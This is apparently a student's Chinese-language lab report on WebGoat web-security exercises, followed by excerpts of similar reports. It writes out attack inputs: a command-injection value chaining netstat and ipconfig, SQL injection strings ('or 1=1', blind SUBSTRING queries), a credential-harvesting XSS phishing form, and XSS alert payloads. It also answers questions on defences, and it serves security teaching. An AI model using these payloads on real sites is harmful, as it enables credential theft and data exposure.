2018-2019-2 20165221 【网络对抗技术】-- Exp9 Web安全基础

2018-2019-2 20165221 【网络对抗技术】-- Exp9 Web安全基础

目录:

  • 一 . 实验要求
  • 二 . 实验过程记录
    • 1 . Webgoat安装
    • 2 . SQL注入的攻击
      • 命令注入(Command Injection)
      • 数字型注入(Numeric SQL Injection)
      • 日志欺骗(Log Spoofing)
      • SQL 注入(LAB: SQL Injection)
      • 字符串注入(String SQL Injection)
      • 数据库后门(Database Backdoors)
      • 数字型盲注入(Blind Numeric SQL Injection)
      • 字符串型盲注入(Blind String SQL Injection)
    • 3 . XSS攻击
      • XSS 钓鱼(Phishing with XSS)
      • 存储型XSS攻击(Stored XSS Attacks)
      • 反射型XSS攻击(Reflected XSS Attacks)
    • 4 . CSRF攻击
      • 跨站请求伪造(Cross Site Request Forgery (CSRF))
      • 绕过 CSRF 确认( CSRF Prompt By‐Pass)
  • 三 . 实验基础问题回答
  • 四 . 试验中遇到的问题
  • 五 . 实验总结与体会

一 . 实验要求

  • 本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目,共3.5分。包括(SQL,XSS,CSRF)。

二 . 实验过程记录

1 . Webgoat的安装

  • 因WebGoat默认使用8080端口,所以开启前先用netstat -tupln | grep 8080查看端口是否被占用,如果被占用,用kill 进程号终止占用8080端口的进程。
  • 下载webgoat-container-7.0.1-war-exec.jar,再将其拷贝到虚拟机中
  • 普通安装,命令行输入java -jar webgoat-container-7.0.1-war-exec.jar
  • 浏览器转:localhost:8080/WebGoat
  • 直接用默认用户名密码登录即可,开始练习

2 . SQL的注入攻击

1.Command Injection

  • 选择 Injection Flaws -> Command Injection
  • 右键页面中复选框,选择inspect Element审查网页元素对源代码进行修改,在末尾添加"& netstat -an & ipconfig"
  • 点击 view,看到网络端口使用情况和 IP 地址,攻击成功

2.Numeric SQL Injection

  • 选择 Injection Flaws -> Numeric SQL Injection
  • 右键页面中复选框,选择inspect Element审查网页元素对源代码value="101"进行修改,在城市编号101后面添加or 1=1
  • 点击Go,可以看到攻击成功

    3.日志欺骗(Log Spoofing)

  • 通过在日志文件中插入脚本实现欺骗。在日志文件中愚弄人的眼睛,攻击者可以利用这种方式清除他们在日志中的痕迹
  • 目标:灰色区域代表在 Web 服务器的日志中的记录的内容,我们的目的是使用户名为“admin”的用户在日志中显示“成功登录”

4.SQL 注入(LAB: SQL Injection)

  • 选择 Injection Flaws -> String SQL Injection,右键页面将password密码框,选择inspect Element审查网页元素对源代码进行修改,将其最大长度限制改为20
  • 用该用户信息进行登录,攻击成功,并获得账户信息的列表。

    5.字符串盲注入:Blind String SQL Injection

  • 前提是要知道pin值,这次查询的是一个字符串而不是数值。
  • 输入:
101 AND (SUBSTRING((SELECT name FROM pinsWHERE cc_number=’4321432143214321′), 1, 1) < ‘H’ );
  • 将1换成2:
101 AND (SUBSTRING((SELECT name FROM pinsWHERE cc_number=’4321432143214321′), 2, 1) < ‘H’ );
  • 最后使用二分法测试,最终得到PIN的字段为:Jill

3 . XSS的攻击

1.XSS钓鱼:

  • 编写一个带有用户名的和密码框的表格:
//脚本
</form>
<script>
    function hack(){
        XSSImage=new Image;
        XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
        alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
    }
</script>
<form name="phish">
<br>
<br>
//表格
<HR>
    <H2>This feature requires account login:</H2>
<br>
    <br>Enter Username:<br>
    <input type="text" name="user">
    <br>Enter Password:<br>
    <input type="password" name = "pass">
<br>
    <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
  • 我们在搜索到的表单中输入用户名和密码,点击登录,WebGoat会将输入的信息捕获并反馈给我们。

2.存储型XSS攻击:Stored XSS Attacks

  • 这种攻击常见于论坛等留言平台,用户留言的时候输入一段JavaScript脚本,这段脚本就会被保存在数据库中。因为是留言,所以任何用户在打开网页的时候,这个脚本就会被从数据库中取出来而运行
  • 根据题目要求,在留言板中输入<script>alert("You‘ve been attacked!!!");</script>
  • 再次点击刚刚创建的帖子,可以看到弹出窗口:

3.反射型XSS攻击:Reflected XSS Attacks

  • 原理:在反射的XSS攻击中,攻击者可以使用攻击脚本创建一个URL,并将其发布到另一个网站、通过电子邮件或其他方式让受害者点击它。
  • 目标:使用攻击脚本创建URL,并将其写入网站中,当读取到该URL的时候就会被攻击
  • 具体操作:输入代码<script>alert("hhhhh You‘ve been attacked!!!");</script>,点击purse的同时页面就给出了反馈:

    ---

4 . CSRF的攻击

1.跨站请求伪造(Cross Site Request Forgery (CSRF))


三 . 实验基础问题回答

  • (1) SQL注入的原理是什么,如何进行防御呢?

    • 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,使非法数据侵入系统。
    • 防御手段:
      • 对用户的输入进行校验。
        不要使用动态拼装sql,可以使用参数化的sql- 或者直接使用存储过程进行数据查询存取。
      • 不要使用管理员权限的数据库连接,为每个- 应用使用单独的权限有限的数据库连接。
      • 不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。
      • 应用的异常信息应该给出尽可能少的提示。
        采取辅助软件或网站平台来检测sql注入。
  • (2) XSS攻击的原理是什么,如何进行防御呢?
    • 原理:XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码(如,HTML代码和客户端脚本)植入到提供给其它用户使用的页面中,攻击者可以利用XSS漏洞旁路掉访问控制。
    • 防御手段:
      • 特征匹配方式,在所有提交的信息中都进行匹配检查,一般会对“javascript”这个关键字进行检索,一旦发现提交信息中包含“javascript”,就认定为XSS攻击。
      • 对所有用户提交内容进行可靠的输入验证,包括对URL、查询关键字、HTTP头、POST数据等,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其他的一律过滤。
      • 实现Session标记、CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站所执行。
  • (3) CSRF攻击原理是什么,如何进行预防呢?
    • 原理:CSRF跨站请求伪造,也被称为“oneclickattack”或者sessionriding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用,通过伪装来自受信任用户的请求来利用受信任的网站。是一种依赖web浏览器的、被混淆过的代理人攻击。
      防御手段:

      • 在form中包含秘密信息、用户指定的代号作为cookie之外的验证。
      • “双提交”cookie。某个授权的cookie在form post之前正被JavaScript代码读取,那么限制跨域规则将被应用。服务器需要在Post请求体或者URL中包含授权cookie的请求,那么这个请求必须来自于受信任的域。
      • 用户在浏览其它站点前登出站点或者在浏览器会话结束后清理浏览器的cookie。

        四 . 试验中遇到的问题

        五 . 实验总结与体会

原文地址:https://www.cnblogs.com/0630tx/p/10922917.html

时间: 2024-10-10 09:14:31

2018-2019-2 20165221 【网络对抗技术】-- Exp9 Web安全基础的相关文章

2018~2019-10 20165107 网络对抗技术 Exp9 Web安全基础

20165107 网络对抗技术 Exp9 Web安全基础 实验要求 本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目,包括(SQL,XSS,CSRF) Webgoat实践下相关实验. 基础问题问答 1.SQL注入攻击原理,如何防御 SQL注入攻击原理:是指通过构建特殊的输入作为参数传入Web应用程序,输入执行SQL语句进而执行攻击者所要的操作.如在用户名.密码登输入框中输入一些',--,#等特殊字符,实现引号闭合.注释部分SQL语句,利用永真式实现登录.显示信息等目的. 如何防御:

20145301赵嘉鑫 《网络对抗》Exp9 Web安全基础实践

20145301赵嘉鑫 <网络对抗>Exp9 Web安全基础实践 实验后回答问题 (1)SQL注入攻击原理,如何防御 SQL注入攻击原理:SQL 是一门 ANSI 的标准计算机语言,用来访问和操作数据库系统.SQL 语句用于取回和更新数据库中的数据.SQL注入是一种通过操作输入来修改后台SQL语句达到代码执行进行攻击目的的技术.通过构建特殊的输入作为参数传入web应用程序,通过执行SQL语句进执行攻击者所要的操作,其主要原因是程序没有细致的过滤用户输入的数据,致使非法数据侵入系统. SQL注入

#20155232《网络对抗》Exp9 Web安全基础

20155232<网络对抗>Exp9 Web安全基础 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 WebGoat Webgoat是OWASP组织研究出的一个专门进行web漏洞实验的应用品台,这个平台里包含了web中常见的各种漏洞,例如:跨站脚本攻击.sql注入.访问控制.隐藏字段.Cookie等: OWASP(Open Web Application Security Project)是一个非营利的组织,它的目的是帮助个人和企业来发现和使用可信赖的软件

20155308《网络对抗》Exp9 Web安全基础实践

20155308<网络对抗>Exp9 Web安全基础实践 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 WebGoat WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞.WebGoat运行在带有java虚拟机的平台之上,目前提供的训练课程有很多,包含了XSS.线程安全.SQL注入等,我们本次的实验就是在WebGoat平台上进行. 1.WebGoat分为简单版和开发板,简单版是个Java的Jar包,

20155208徐子涵《网络对抗》Exp9 Web安全基础

20155208徐子涵<网络对抗>Exp9 Web安全基础 实验要求 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 最后一次了,没有选择尝试免考项目的我最后一次进行这个紧张刺激的活动了. WebGoat Webgoat是OWASP组织研究出的一个专门进行web漏洞实验的应用品台,这个平台里包含了web中常见的各种漏洞,例如:跨站脚本攻击.sql注入.访问控制.隐藏字段.Cookie等: 首先我们在kali里面下载Webgoat,这是一个jar包,因为在虚

20155323刘威良《网络对抗》Exp9 Web安全基础

20155323刘威良<网络对抗>Exp9 Web安全基础 实践目的 理解常用网络攻击技术的基本原理. 实践内容 Webgoat实践下相关实验. 实践过程 开启WebGoat WebGoat是由OWASP负责维护的一个漏洞百出的J2EE Web应用程序,这些漏洞并非程序中的bug,而是故意设计用来进行Web应用程序安全训练的.这个应用程序提供了一个逼真的模拟实战的教学环境,为用户完成课程提供了有关的线索. 我们在终端下输入命令java -jar webgoat-container-7.0.1-

20145317彭垚《网络对抗》Exp9 Web安全基础实践

20145317彭垚<网络对抗>Exp9 Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的. 对于SQL注入攻击的防范,我觉得主要还是应该从代码上入手: 采用预编译语句集PreparedStatement,它内置了处理SQL注入的能力,只要使用它的setXXX方法传值即可.它的原理就是sql注入只对sql语句的准备(编译)过程有破坏作用,而Prep

20145311王亦徐 《网络对抗技术》 Web安全基础实践

2014531王亦徐 <网络对抗技术> Web安全基础实践 实验内容 利用WebGoat平台尝试了一些XSS.CSRF.SQL注入攻击 基础问题回答 1.SQL注入攻击原理,如何防御原理: SQL注入是指攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息.简单地认为是将sql语句作为输入交给表单或者通过域名等将sql交给后台,从而欺骗服务器执行sql语句 防范: 过滤字符串,对一些数据库敏感

20145236《网络对抗》Exp9 web安全基础实践

20145236<网络对抗>Exp9 web安全基础实践 一.基础问题回答: SQL注入攻击原理,如何防御 SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. 利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句. 对用户的输入进行校验,可以通过正则表达式,或限制长

20155324《网络对抗技术》web安全基础实践

20155324<网络对抗技术>web安全基础实践 实验内容 使用webgoat进行XSS攻击.CSRF攻击.SQL注入 实验问答 SQL注入攻击原理,如何防御 ①SQL注入攻击是攻击者在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,把SQL语句当做用户名等输入正常网页中以获取数据库信息的攻击,最终达到欺骗服务器执行恶意的SQL命令 ②对输入的数据进行过滤,在数据库中对密码进行加密 XSS攻击的原理,如何防御 ①通过对网页注入可执行代码,成功地被浏览器执行,以达到攻击的目的